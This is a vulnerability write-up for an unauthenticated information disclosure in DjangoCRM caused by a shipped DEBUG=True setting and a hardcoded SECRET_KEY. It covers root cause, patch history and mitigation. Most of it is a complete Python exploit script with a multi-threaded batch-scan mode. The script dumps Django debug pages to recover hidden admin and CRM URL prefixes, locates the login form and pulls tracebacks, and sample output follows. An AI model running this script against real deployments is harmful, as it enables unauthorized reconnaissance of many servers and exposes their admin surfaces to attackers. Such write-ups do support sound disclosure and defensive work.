#Summary

CVE-2026-71238 is an unauthenticated information disclosure in DjangoCRM (django-crm) versions 0.91 through 2.4.0. The application ships webcrm/settings.py with DEBUG = True and a hardcoded Django SECRET_KEY, both committed to the public repository. The debug setting causes Django's error handlers to render the application's URLconf, application source code, local variables, and framework versions to any anonymous attacker. The hardcoded key itself is a serious defect but does not grant authentication in the shipped configuration; the real remote impact is the debug disclosure.

CVSS 9.1 CRITICAL (NVD). Note: this score reflects an account-takeover claim that does not reproduce in the shipped configuration; the verified impact is unauthenticated information disclosure.

Status: No patch exists. main and all released versions 0.91 through 2.4.0 are affected.

#Affected versions

#Root cause analysis

#The vulnerable configuration

Three secrets are hardcoded in the committed file webcrm/settings.py:

# Line 21 - hardcoded Django signing key
SECRET_KEY = 'j1c=6$s-dh#$ywt@(q4cm=j&0c*!0x!e-qm6k1%yoliec(15tn'

# Line 60 - debug mode enabled
DEBUG = True

# Lines 199-201 - access control by obscurity
SECRET_CRM_PREFIX = '123/'
SECRET_ADMIN_PREFIX = '456-admin/'
SECRET_LOGIN_PREFIX = '789-login/'

The application's entire access-control strategy depends on keeping these prefixes hidden. They are the only authentication gate:

# webcrm/urls.py
urlpatterns += i18n_patterns(
    path(settings.SECRET_CRM_PREFIX, include('common.urls')),
    path(settings.SECRET_ADMIN_PREFIX, admin.site.urls),
)

# common/utils/admin_redirect_middleware.py
if settings.SECRET_ADMIN_PREFIX in request.path and not request.user.is_superuser:
    new_path = request.path.replace(settings.SECRET_ADMIN_PREFIX, settings.SECRET_CRM_PREFIX)
    return HttpResponseRedirect(new_path)

#How the leak happens

With DEBUG = True, Django's technical_404_response and technical_500_response handlers render debug information to the browser without authentication checks.

Technical 404 disclosure (URLconf): When a request matches no URL pattern, Django lists all available patterns, including the mounted prefixes. Because the CRM and admin routes are nested inside i18n_patterns, the secret prefixes appear in the listing once a valid language prefix like /en/ is included in the path. An attacker requesting /en/zzz-nonexistent receives Django's technical error page listing all nested patterns, including the supposedly-secret 123/ and 456-admin/ prefixes.

This defeats the obscurity control even for a deployer who replaced the defaults with unguessable values, because the live prefix values are printed to any anonymous requester.

Technical 500 disclosure (source and traceback): The endpoint /voip/get-callback/ is unauthenticated; its access decorators are commented out:

# voip/urls.py
# from django.contrib.auth.decorators import login_required
# from django.contrib.admin.views.decorators import staff_member_required
from django.urls import path

urlpatterns = [
    path('get-callback/', ConnectionView.as_view(), name='get_callback'),

The view passes AnonymousUser into an integer field lookup, raising TypeError. Django's technical error handler returns a ~140 KB debug page containing the full traceback, application source files, local variables of every frame, absolute filesystem paths, and the Django and Python versions.

#The misleading SECRET_KEY claim

The hardcoded key is genuine and a serious defect that should be rotated immediately. However, the advisory's claim that it enables account takeover does not reproduce:

Session forgery was tested against both the default and signed_cookies backends; forgery succeeded only when the victim's stored password hash was supplied, which presupposes database read access that the attack is supposed to grant.

#Patch analysis

There is no upstream patch. The vulnerability was introduced in commit f5e9a6e (2024-07-27), which converted the placeholder configuration into a working development default:

-SECRET_KEY = '<specify key>'
+SECRET_KEY = 'j1c=6$s-dh#$ywt@(q4cm=j&0c*!0x!e-qm6k1%yoliec(15tn'

-DEBUG = False
+DEBUG = True

All tags from v0.91 onward contain this commit. The only tested mitigation is the documented override: creating webcrm/local_settings.py with from .settings import * and setting DEBUG = False, then specifying DJANGO_SETTINGS_MODULE=webcrm.local_settings at runtime. However, this mitigation is not mentioned in the quick-start installation guide, so most deployments run the vulnerable defaults.

#Proof of concept

#exploit.py - DjangoCRM Debug Information Disclosure PoC

#!/usr/bin/env python3
"""
CVE-2026-71238 - DjangoCRM (django-crm) unauthenticated debug information disclosure
Affected: DjangoCRM 0.91 through 2.4.0 (default committed webcrm/settings.py, DEBUG=True)
Type: Information disclosure (CWE-489 / CWE-215; NVD labels it auth bypass via CWE-798)

Root cause:
  django-crm ships webcrm/settings.py with DEBUG=True and a set of "secret" URL
  prefixes (SECRET_CRM_PREFIX / SECRET_ADMIN_PREFIX) that are the application's only
  access-control-by-obscurity gate for the admin and CRM sites. With DEBUG on, Django's
  technical_404_response renders the resolved URLconf on any unmatched path, printing
  those live prefixes to any anonymous requester - defeating the obscurity control even
  when the deployer replaced the defaults with unguessable values. A second unauthenticated
  endpoint, /voip/get-callback/, raises TypeError and returns a full technical_500 debug
  page (application source, frame locals, absolute paths, framework/interpreter versions).

  Note on the advisory's account-takeover claim: it does not reproduce in the shipped
  configuration. Sessions are DB-backed (nothing in the cookie is signed), CSRF tokens are
  random since Django 4.0, no django.core.signing consumer exists, and the 500 page masks
  SECRET_KEY/passwords. This exploit targets the verified, remotely observable primitive:
  the disclosure, chained to locate the (possibly re-prefixed) authentication surface.

Usage:
  python exploit.py --host 127.0.0.1 --port 8000
  python exploit.py --host http://crm.corp.com:8000
  python exploit.py --host https://crm.corp.com
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import re
import sys
from html import unescape
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("This exploit requires the 'requests' library: pip install requests")
    sys.exit(2)

CVE_ID    = "CVE-2026-71238"
VULN_TYPE = "Info Disclosure"

# ALLOWED_HOSTS in the shipped settings is ['localhost', '127.0.0.1'] and is enforced
# even with DEBUG=True. Any other Host returns 400 before a view runs. We first try the
# target's own Host, then fall back to these so both stock and re-configured deployments
# are covered.
FALLBACK_HOSTS = ["localhost", "127.0.0.1"]

# A path that will never match a real route but does carry a valid i18n language prefix,
# which is mandatory for the nested (secret-prefix) portion of the URLconf to render.
PROBE_404_PATH = "/en/alim-nonexistent-zzz"
PROBE_500_PATH = "/voip/get-callback/"


def header(host, port):
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n, msg):
    print(f"[STEP {n}] {msg}")


def section(label, content):
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  HTTP helpers
# --------------------------------------------------------------------------- #

def _base_url(host, port, use_tls):
    scheme = "https" if use_tls else "http"
    if (use_tls and port == 443) or (not use_tls and port == 80):
        return f"{scheme}://{host}"
    return f"{scheme}://{host}:{port}"


def _get(host, port, use_tls, path, timeout=15, allow_redirects=False):
    """
    GET path, transparently working around ALLOWED_HOSTS. Returns a requests.Response.
    If the target rejects our Host with 400, retry forcing localhost / 127.0.0.1.
    """
    url = _base_url(host, port, use_tls) + path
    resp = requests.get(url, timeout=timeout, verify=False,
                        allow_redirects=allow_redirects)
    if resp.status_code == 400:
        for h in FALLBACK_HOSTS:
            resp = requests.get(url, timeout=timeout, verify=False,
                                allow_redirects=allow_redirects,
                                headers={"Host": h})
            if resp.status_code != 400:
                break
    return resp


def _parse_prefixes(body):
    """
    Given a Django technical_404 body, recover the nested (post-language) URL prefixes.
    Returns (crm_prefix, admin_prefix, all_prefixes) where crm_prefix is the most
    frequently mounted nested prefix (the CRM site) and admin_prefix is a distinct one
    (the admin site). Any element may be None if it could not be determined.
    """
    if "Django tried these URL patterns" not in body:
        return None, None, []
    text = unescape(body)
    pairs = re.findall(
        r"<code>\s*([A-Za-z]{2}(?:-[A-Za-z]{2})?/)\s*</code>\s*"
        r"<code>\s*([^<\s][^<]*?)\s*</code>",
        text,
    )
    counts = {}
    order = []
    for _lang, nested in pairs:
        nested = nested.strip()
        if not nested:
            continue
        if nested not in counts:
            counts[nested] = 0
            order.append(nested)
        counts[nested] += 1
    if not order:
        return None, None, []
    ranked = sorted(order, key=lambda p: (-counts[p], order.index(p)))
    crm = ranked[0]
    admin = None
    for p in ranked[1:]:
        admin = p
        break
    return crm, admin, order


def _parse_500(body):
    """Extract the headline fields from a Django technical_500 debug page."""
    text = body
    fields = {}
    for key in ("Exception Type", "Exception Value", "Exception Location",
                "Django Version", "Python Version"):
        m = re.search(r"<th[^>]*>%s:</th>\s*<td>(.*?)</td>" % re.escape(key),
                      text, re.S)
        if m:
            fields[key] = unescape(re.sub(r"<[^>]+>", "", m.group(1))).strip()
    frame_files = re.findall(r'<code class="fname">([^<]+)</code>', text)
    return fields, frame_files


# --------------------------------------------------------------------------- #
#  Core exploitation
# --------------------------------------------------------------------------- #

def _try_exploit(host, port, use_tls, path="/"):
    """
    Silent probe for scan mode. Returns (success, evidence). Never prints or exits.
    Success = the technical_404 page leaks the nested URLconf prefixes.
    """
    try:
        resp = _get(host, port, use_tls, PROBE_404_PATH)
    except Exception as e:
        return False, f"unreachable ({e.__class__.__name__})"
    if resp.status_code == 400:
        return False, "HTTP 400 - ALLOWED_HOSTS rejected every Host we tried"
    body = resp.text
    if "Django tried these URL patterns" not in body:
        return False, "no debug 404 (DEBUG=False or not django-crm) - likely patched"
    crm, admin, allp = _parse_prefixes(body)
    if not allp:
        return False, "debug 404 present but no nested prefixes leaked"
    ev = f"URLconf leaked; CRM prefix '{crm}'"
    if admin:
        ev += f", admin prefix '{admin}'"
    return True, ev


def exploit(host, port, use_tls, path="/"):
    header(host, port)

    # STEP 1: technical_404 URLconf disclosure
    step(1, f"Requesting a bogus i18n path to dump the URLconf ({PROBE_404_PATH})")
    try:
        r404 = _get(host, port, use_tls, PROBE_404_PATH)
    except Exception as e:
        done(False, f"target unreachable: {e.__class__.__name__}: {e}")

    if r404.status_code == 400:
        done(False, "HTTP 400 for every Host tried - ALLOWED_HOSTS blocked the probe "
                    "(harness/Host issue, not proof of patching)")

    body404 = r404.text
    if "Django tried these URL patterns" not in body404:
        section("SERVER RESPONSE (first 400 bytes)", body404[:400])
        done(False, f"HTTP {r404.status_code} with no technical-404 URLconf listing - "
                    "DEBUG is False or this is not django-crm (target not vulnerable)")

    crm, admin, allp = _parse_prefixes(body404)
    m = re.search(r"(Django tried these URL patterns.*?)</ol>", body404, re.S)
    listing = unescape(re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", m.group(1)))).strip() if m else "(unparsed)"
    section("LEAKED URLCONF (HTTP %d)" % r404.status_code, listing[:1200])
    print(f"    -> recovered CRM prefix   : {crm}")
    print(f"    -> recovered admin prefix : {admin}")
    print(f"    -> all nested prefixes    : {', '.join(allp)}\n")

    # STEP 2: chain the leak to locate the authentication surface
    login_evidence = None
    if crm:
        step(2, f"Following the recovered CRM prefix /en/{crm} to its login form")
        try:
            rlogin = _get(host, port, use_tls, f"/en/{crm}", allow_redirects=True)
            has_csrf = "csrfmiddlewaretoken" in rlogin.text
            final = rlogin.url
            if rlogin.status_code == 200 and has_csrf:
                login_evidence = final
                section("AUTHENTICATION SURFACE LOCATED",
                        f"GET /en/{crm} -> {final}\n"
                        f"HTTP {rlogin.status_code}, CSRF-bearing login form present "
                        f"(csrfmiddlewaretoken found).")
            else:
                section("AUTHENTICATION SURFACE",
                        f"GET /en/{crm} -> {final} (HTTP {rlogin.status_code}, "
                        f"csrf={'yes' if has_csrf else 'no'})")
        except Exception as e:
            print(f"    login-surface probe failed: {e.__class__.__name__}: {e}\n")
    else:
        step(2, "No CRM prefix recovered; skipping login-surface chain")

    # STEP 3: technical_500 source/traceback disclosure
    step(3, f"Triggering an unauthenticated exception ({PROBE_500_PATH}) for the 500 debug page")
    fields = {}
    frame_files = []
    try:
        r500 = _get(host, port, use_tls, PROBE_500_PATH)
        if r500.status_code == 500 and "Exception Type:" in r500.text:
            fields, frame_files = _parse_500(r500.text)
            app_frames = [f for f in frame_files if "site-packages" not in f]
            summary = "\n".join(f"{k}: {v}" for k, v in fields.items())
            summary += "\n\nApplication source frames disclosed:\n  " + \
                       "\n  ".join(app_frames[:8] if app_frames else ["(none parsed)"])
            summary += f"\n\nTotal traceback frames with file paths: {len(frame_files)}"
            section("LEAKED 500 DEBUG PAGE (HTTP %d, %d bytes)" %
                    (r500.status_code, len(r500.content)), summary)
        else:
            print(f"    /voip/get-callback/ returned HTTP {r500.status_code} "
                  f"(no 500 debug page); relying on the 404 disclosure.\n")
    except Exception as e:
        print(f"    500 probe failed: {e.__class__.__name__}: {e}\n")

    # verdict
    evidence_bits = []
    if allp:
        evidence_bits.append("URLconf prefixes leaked (" + ", ".join(allp) + ")")
    if login_evidence:
        evidence_bits.append(f"login surface located at {login_evidence}")
    if fields.get("Exception Type"):
        evidence_bits.append(
            "500 debug page leaked %s / %s / %s" % (
                fields.get("Exception Type", "?"),
                fields.get("Django Version", "?"),
                fields.get("Python Version", "?"),
            ))
    done(True, "; ".join(evidence_bits) if evidence_bits
         else "unauthenticated debug disclosure confirmed")


def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                            "(e.g. http://host:8000)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8000,
                        help="Default port (default: 8000)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path)

#Usage

# Single target
python3 exploit.py --host 127.0.0.1 --port 8000

# Target with TLS
python3 exploit.py --host https://crm.corp.com

# Batch scan
python3 exploit.py --list targets.txt --workers 20

#Expected output (vulnerable)

============================================================
  ALIM EXPLOIT  CVE-2026-71238
  Type: Info Disclosure  |  Target: 127.0.0.1:8000
============================================================

[STEP 1] Requesting a bogus i18n path to dump the URLconf (/en/alim-nonexistent-zzz)

--- LEAKED URLCONF (HTTP 404) ---
Django tried these URL patterns, in this order: favicon.ico voip/ OAuth-2/authorize/
[name='get_refresh_token'] ^media/(?P<path>.*)$ en/ 123/ en/ 456-admin/
---
    -> recovered CRM prefix   : 123/
    -> recovered admin prefix : 456-admin/
    -> all nested prefixes    : 123/, 456-admin/

[STEP 2] Following the recovered CRM prefix /en/123/ to its login form

--- AUTHENTICATION SURFACE LOCATED ---
GET /en/123/ -> http://127.0.0.1:8000/en/123/789-login/?next=/en/123/
HTTP 200, CSRF-bearing login form present (csrfmiddlewaretoken found).
---

[STEP 3] Triggering an unauthenticated exception (/voip/get-callback/) for the 500 debug page

--- LEAKED 500 DEBUG PAGE (HTTP 500, 139864 bytes) ---
Exception Type: TypeError
Exception Value: Field 'id' expected a number but got <SimpleLazyObject: <django.contrib.auth.models.AnonymousUser object at 0x...>>.
Exception Location: /usr/local/lib/python3.12/site-packages/django/db/models/fields/__init__.py, line 2130, in get_prep_value
Django Version: 6.0.5
Python Version: 3.12.13

Application source frames disclosed:
  /opt/django-crm/voip/views/callback.py
  /opt/django-crm/voip/views/callback.py

Total traceback frames with file paths: 18
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: URLconf prefixes leaked (123/, 456-admin/); login surface located at http://127.0.0.1:8000/en/123/789-login/?next=/en/123/; 500 debug page leaked TypeError / 6.0.5 / 3.12.13
============================================================

#Expected output (patched)

============================================================
  ALIM EXPLOIT  CVE-2026-71238
  Type: Info Disclosure  |  Target: 127.0.0.1:8001
============================================================

[STEP 1] Requesting a bogus i18n path to dump the URLconf (/en/alim-nonexistent-zzz)

--- SERVER RESPONSE (first 400 bytes) ---
<!doctype html>
<html lang="en">
<head>
  <title>Not Found</title>
</head>
<body>
  <h1>Not Found</h1><p>The requested resource was not found on this server.</p>
</body>
</html>
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: HTTP 404 with no technical-404 URLconf listing - DEBUG is False or this is not django-crm (target not vulnerable)
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit is highly reliable. It depends on Django's error handlers, which are built into the framework. The URLconf disclosure happens on every 404 request to a path prefixed with a valid i18n language code. The 500 page is triggered by an unauthenticated endpoint that unconditionally raises an exception.

#Impact

What an attacker learns:

What an attacker cannot do (in the shipped configuration):

The hardcoded SECRET_KEY becomes a serious account-takeover vector if a deployer switches to the non-default SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies', but this is not the default configuration.

#Chaining potential

This CVE chains well with other vulnerabilities discoverable through the debug disclosure:

#Mitigation

The upstream mitigation is documented in docs/installation_and_configuration_guide.md:

  1. Create webcrm/local_settings.py:
from .settings import *

# Override unsafe defaults
from django.core.management.utils import get_random_secret_key
SECRET_KEY = get_random_secret_key()
DEBUG = False
  1. Run with DJANGO_SETTINGS_MODULE=webcrm.local_settings:
DJANGO_SETTINGS_MODULE=webcrm.local_settings python manage.py runserver

However, this mitigation is optional and not enforced by the quick-start guide, so most installations remain vulnerable.

#References